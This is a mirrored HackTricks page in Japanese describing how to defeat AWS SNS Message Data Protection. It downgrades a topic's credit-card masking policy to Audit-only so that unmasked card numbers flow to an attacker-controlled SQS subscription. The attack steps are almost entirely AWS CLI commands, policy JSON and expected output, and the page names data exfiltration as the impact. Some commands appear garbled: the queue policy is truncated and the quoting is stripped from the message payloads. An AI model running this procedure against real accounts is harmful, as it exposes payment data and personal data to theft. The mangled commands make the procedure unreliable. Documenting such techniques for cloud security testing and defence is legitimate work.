mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-14 13:56:30 -08:00
4.6 KiB
4.6 KiB
AWS - SNS Message Data Protection ポリシーのダウングレードによるバイパス
{{#include ../../../../banners/hacktricks-training.md}}
トピックに sns:PutDataProtectionPolicy の権限がある場合、その Message Data Protection ポリシーを Deidentify/Deny から Audit-only に切り替える(または Outbound 制御を削除する)ことで、クレジットカード番号などの機密値が購読先にマスクされずに配信されるようにできます。
要件
- 対象トピックに対して
sns:PutDataProtectionPolicyを呼び出す権限(データを受け取りたい場合は通常sns:Subscribeも)。 - Standard SNS トピック(Message Data Protection がサポートされていること)。
攻撃手順
- 変数
REGION=us-east-1
- 標準トピックと攻撃者用の SQS キューを作成し、そのトピックのみがキューに送信できるように許可する
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
- アウトバウンドメッセージでクレジットカード番号をマスクする data protection ポリシーを適用する
cat > /tmp/ht-dlp-policy.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "MaskCCOutbound",
"Principal": ["*"],
"DataDirection": "Outbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
- 攻撃者のキューをサブスクライブし、テスト用のクレジットカード番号付きメッセージを公開してマスキングを確認する
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
期待される抜粋はマスキング(ハッシュ)を示します:
"Message" : "payment:{cc:################}"
- ポリシーを audit-only にダウングレードする(Outbound に影響する deidentify/deny ステートメントは含めない)
SNS では、Audit ステートメントは Inbound にする必要がある。ポリシーを Audit-only の Inbound ステートメントに置き換えると、Outbound の de-identification がすべて除去され、メッセージは変化なくサブスクライバーに配信される。
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "AuditInbound",
"Principal": ["*"],
"DataDirection": "Inbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
- 同じメッセージを publish し、マスク解除された値が配信されることを確認する
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
期待される抜粋はプレーンテキストの CC を示す:
4539894458086459
影響
- トピックを de-identification/deny から audit-only に切り替える(または Outbound controls を削除する)ことで、PII/secrets が改変されることなく攻撃者が制御するサブスクリプションへ送信され、本来はマスクまたはブロックされるはずのデータの data exfiltration を可能にします。
{{#include ../../../../banners/hacktricks-training.md}}